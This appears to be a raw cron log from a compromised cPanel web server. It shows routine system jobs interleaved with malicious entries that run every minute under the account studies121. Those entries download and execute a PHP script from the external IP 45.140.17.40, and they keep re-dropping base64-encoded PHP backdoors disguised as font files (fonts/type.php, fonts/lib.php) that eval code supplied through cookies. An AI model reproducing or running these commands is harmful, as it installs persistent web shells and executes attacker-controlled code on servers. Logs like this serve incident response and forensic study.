Aug 31 09:38:01 ip-184-168-122-23 CROND[5998]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 09:38:01 ip-184-168-122-23 CROND[5999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:39:01 ip-184-168-122-23 CROND[6102]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:39:01 ip-184-168-122-23 CROND[6104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:39:01 ip-184-168-122-23 CROND[6103]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 09:39:01 ip-184-168-122-23 CROND[6106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:39:01 ip-184-168-122-23 CROND[6107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:40:01 ip-184-168-122-23 CROND[6243]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 09:40:01 ip-184-168-122-23 CROND[6247]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 09:40:01 ip-184-168-122-23 CROND[6250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:40:01 ip-184-168-122-23 CROND[6248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:40:01 ip-184-168-122-23 CROND[6249]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 09:40:01 ip-184-168-122-23 CROND[6246]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 09:40:01 ip-184-168-122-23 CROND[6251]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:40:01 ip-184-168-122-23 CROND[6245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:41:01 ip-184-168-122-23 CROND[6370]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:41:01 ip-184-168-122-23 CROND[6372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:41:01 ip-184-168-122-23 CROND[6374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:41:01 ip-184-168-122-23 CROND[6373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:42:01 ip-184-168-122-23 CROND[6456]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:42:01 ip-184-168-122-23 CROND[6458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:42:01 ip-184-168-122-23 CROND[6459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:42:01 ip-184-168-122-23 CROND[6460]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 09:42:01 ip-184-168-122-23 CROND[6461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:43:01 ip-184-168-122-23 CROND[6550]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:43:01 ip-184-168-122-23 CROND[6551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:43:01 ip-184-168-122-23 CROND[6553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:43:01 ip-184-168-122-23 CROND[6554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:44:01 ip-184-168-122-23 CROND[6778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:44:01 ip-184-168-122-23 CROND[6780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:44:01 ip-184-168-122-23 CROND[6781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:44:01 ip-184-168-122-23 CROND[6783]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 09:44:01 ip-184-168-122-23 CROND[6782]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:45:01 ip-184-168-122-23 CROND[6913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:45:01 ip-184-168-122-23 CROND[6914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:45:01 ip-184-168-122-23 CROND[6916]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 09:45:01 ip-184-168-122-23 CROND[6918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:45:01 ip-184-168-122-23 CROND[6920]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:45:01 ip-184-168-122-23 CROND[6917]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 09:46:01 ip-184-168-122-23 CROND[7027]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:46:01 ip-184-168-122-23 CROND[7028]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 09:46:01 ip-184-168-122-23 CROND[7031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:46:01 ip-184-168-122-23 CROND[7033]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 09:46:01 ip-184-168-122-23 CROND[7032]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 09:46:01 ip-184-168-122-23 CROND[7034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:46:01 ip-184-168-122-23 CROND[7035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:47:01 ip-184-168-122-23 CROND[7135]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:47:01 ip-184-168-122-23 CROND[7139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:47:01 ip-184-168-122-23 CROND[7137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:47:01 ip-184-168-122-23 CROND[7138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:48:01 ip-184-168-122-23 CROND[7269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:48:01 ip-184-168-122-23 CROND[7270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:48:01 ip-184-168-122-23 CROND[7272]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 09:48:01 ip-184-168-122-23 CROND[7274]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:48:01 ip-184-168-122-23 CROND[7278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:49:01 ip-184-168-122-23 CROND[7457]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:49:01 ip-184-168-122-23 CROND[7458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:49:01 ip-184-168-122-23 CROND[7460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:49:01 ip-184-168-122-23 CROND[7461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:50:01 ip-184-168-122-23 CROND[7571]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 09:50:01 ip-184-168-122-23 CROND[7573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:50:02 ip-184-168-122-23 CROND[7575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:50:02 ip-184-168-122-23 CROND[7576]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 09:50:02 ip-184-168-122-23 CROND[7577]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:50:02 ip-184-168-122-23 CROND[7578]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 09:50:02 ip-184-168-122-23 CROND[7580]: (root) CMD (/usr/lib64/sa/sa1 1 1)
